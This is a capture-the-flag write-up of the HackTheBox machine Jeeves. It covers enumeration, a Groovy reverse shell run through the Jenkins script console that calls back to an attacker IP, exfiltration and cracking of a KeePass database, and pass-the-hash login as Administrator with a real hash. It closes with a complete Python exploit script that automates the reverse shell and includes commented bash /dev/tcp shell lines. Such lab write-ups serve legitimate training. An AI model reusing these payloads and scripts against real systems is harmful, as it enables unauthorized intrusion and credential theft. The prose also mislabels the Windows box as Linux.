Home Jeeves - HTB
Post
Cancel

Jeeves - HTB

This machine was an medium box Linux from HackTheBox. Your entrypoint is with Web app in port 50000, Jenkins. Jenkins has a known RCE vuln. To escalate privilege is found a file .kdbx that is a password database. There’re a hash Administrator.

The exploit for this machine is on the end of the post.

Have a good time!

Introdution

https://app.hackthebox.com/machines/Jeeves

  • IP: 10.10.10.63

Diagram

graph TD
    A[Enumeration] --> |Port 50000| AA(Jenkins) --> 
    B[Exploration] --> |RCE| BB[/kohsuke/] -->
    C[Post-Exploration] --> |KeePass| CC(Administrator Hash) -->
    D((Administrator))

Enumeration

First step is to enumerate the box. For this we’ll use nmap.

1
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.63 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.63

Untitled

Port 80 (HTTP)

There’re a simple page web.

http://10.10.10.63

Untitled

Fuzzing Diretório WEB

1
gobuster dir -u http://10.10.10.63/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html

Didn’t return anything interesting.

We try fuzzing in port 50000, we found a URL that is running Jenkins Web App

1
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html
1
2
3
===============================================================
[http://10.10.10.63:50000/askjeeves](http://10.10.10.63:50000/askjeeves)    (Status: 200) [Size: 11521]
===============================================================

http://10.10.10.63:50000/askjeeves

Untitled

This app, Jenkins, already has a known vulnerability that gives us a reverse shell. We’ll explore this in the next step.

Exploration

Exploring Jenkins

In Jenkins, in the field “Script Console”, inside the field “Manage Jenkins”, there is an area that accepts Groovy script. In this field we will place our “Reverse Groove”.

Untitled

Here we put our reverse groove, as the machine is Windows, so we set it to call a cmd.exe.

Untitled

1
2
3
4
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

After preparing a listener in kali on port 443, we click on “Run” to run the script and return to the shell.

Untitled

Post Exploration

We gain shell with the user jeeves\kohsuke.

Local Enumeration

In C:\Users\kohsuke\Documents there is a database of passwords.

Untitled

Privilege Escalation

Let’s download the CEH.kdbx file to kali and try to crack it with john the ripper.

Download:

On kali: impacket-smbserver share . -smb2support

In target: copy CEH.kdbx [//10.10.14.9/share/](https://10.10.14.9/share/)

To crack the password with john, you first need to go through keepass2john, which transforms it into a file interpretable by john.

1
keepass2john CEH.kdbx > hash-kdbx

Untitled

1
john hash-kdbx -wordlist=/usr/share/wordlists/rockyou.txt

Untitled

Pass: moonshine1

Alternativa: Usando Hashcat para quebrar

1
hashcat hash-kdbx --user /usr/share/wordlists/rockyou.txt

Untitled

We will use the keepassx tool to open the database

1
keepassx CEH.kdbx

Untitled

We found a hash in the database. I will try to use it to log in as Administrator. I will use psexec to login.

Untitled

1
crackmapexec smb 10.10.10.63 -u "Administrator" -H "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"

Untitled

1
impacket-psexec Administrator@10.10.10.63  -hashes "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"

Untitled

Getting the root flag

There is the hm.txt file on the Desktop under the Administrator user that says to look for the root flag elsewhere, further down.

Untitled

We will then look at alternative data streams:

1
dir /R

Untitled

We verify that there is a data stream. To read the content we will use the more:

1
more < hm.txt:root.txt

Get Shell - Script Automation

This is a script in python to exploit this machine.

jeeves-getshell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#! /usr/bin/env python3

#### Title: Exploit Get Shell - RCE - Jenkins
#### Author: 0xEtern4lW0lf
#### Created: 23 Dez 2022
#### Description: Explore Jenkins - GetShell - Jeeves - HTB

#### ========= MODULES =========

import argparse
import requests
import socket, telnetlib
from threading import Thread

#### ========= VARIABLE =========

#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m "

## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

#### ========= FUNCTION =========

## Banner
def banner():
  EwLogo = f"""

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
 _____  _                         ___  _  _    _  _____  _   __ 
|  ___|| |                       /   || || |  | ||  _  || | / _|
| |__  | |_   ___  _ __  _ __   / /| || || |  | || |/' || || |_ 
|  __| | __| / _ \| '__|| '_ \ / /_| || || |/\| ||  /| || ||  _|
| |___ | |_ |  __/| |   | | | |\___  || |\  /\  /\ |_/ /| || |  
\____/  \__| \___||_|   |_| |_|    |_/|_| \/  \/  \___/ |_||_|  
                                                                
#----------------------------------------------------------------# 
    
    Author: {GREEN}0xEtern4lW0lf{END}                           
    {RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}

    FOR EDUCATIONAL PURPOSE ONLY.

  """
  return print(f'{BLUE}{EwLogo}{END}')

## Set the handler
def handler(lport,target):
    print(f"[+] Starting handler on {lport} [+]")
    tn = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0",lport))
    s.listen(1)
    conn, addr = s.accept()
    print(f"[+] Receiving connection the {target} [+]")
    tn.sock = conn
    print("[+] Habemus Shell! [+]")
    tn.interact()

# Define the payload to be included in the URL
def createPayload(lhost,lport):
    global payload

#   if target_system == "Windows":
    payload = '''String host="%s";
int port=%s;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'''%(lhost,lport)

#   if target_system == "Linux":
#    payload = '''r = Runtime.getRuntime()
#p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#p.waitFor()''' %(lhost,lport)

#    r = Runtime.getRuntime()
#    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#    p.waitFor()""" %(lhost,lport),}

## Get the reverse shell
def getShell(rhost,rport,payload):
    print("[+] Let's get the reverse shell [+]")
    url = f"http://{rhost}:{rport}/askjeeves/script"
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '851',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',}

#    data = {
#    "script": """
#    r = Runtime.getRuntime()
#    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#    p.waitFor()""" % (lhost,lport),}
    data = {
        'script': payload,
        'Jenkins-Crumb': '36267798ca3b6bfaf580958598da889c',
        'Submit' : 'Run',}

    ## If set proxy, add option "proxies=proxies"
    requests.post(url, headers=headers, data=data)

## main
def main():
    ## Parse Arguments
    parser = argparse.ArgumentParser(description='GetShell - Jeeves / HTB - 0xEtern4lW0lf')
    parser.add_argument('-t', '--rhost', help='Target IP address or hostname.', required=True)
    parser.add_argument('-p', '--rport', help='Port of the target machine.', type=int, required=True)
    parser.add_argument('-li', '--lhost', help='Local IP address or hostname', required=True)
    parser.add_argument('-lp', '--lport', help='Local Port to receive the shell', type=int, required=True)

    args = parser.parse_args()

    rhost = args.rhost
    rport = args.rport
    lhost = args.lhost
    lport = args.lport

    ## Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()

    ## Print some information
    print("\n[+] Setting information")
    print("[+] target: ", rhost)
    print("[+] lhost: ", lhost)
    print("[+] lport: ", lport)

    ## Create the payload
    createPayload(lhost,lport)

    ## Get the Shell
    getShell(rhost,rport,payload)

#### ======= EXECUTION =======

if __name__ == '__main__':
    banner()
    main()

Untitled

More scripts in https://github.com/0xEtern4lW0lf.

This post is licensed under CC BY 4.0 by the author.
Contents

Resolute - HTB

Pandora - HTB

Comments powered by Disqus.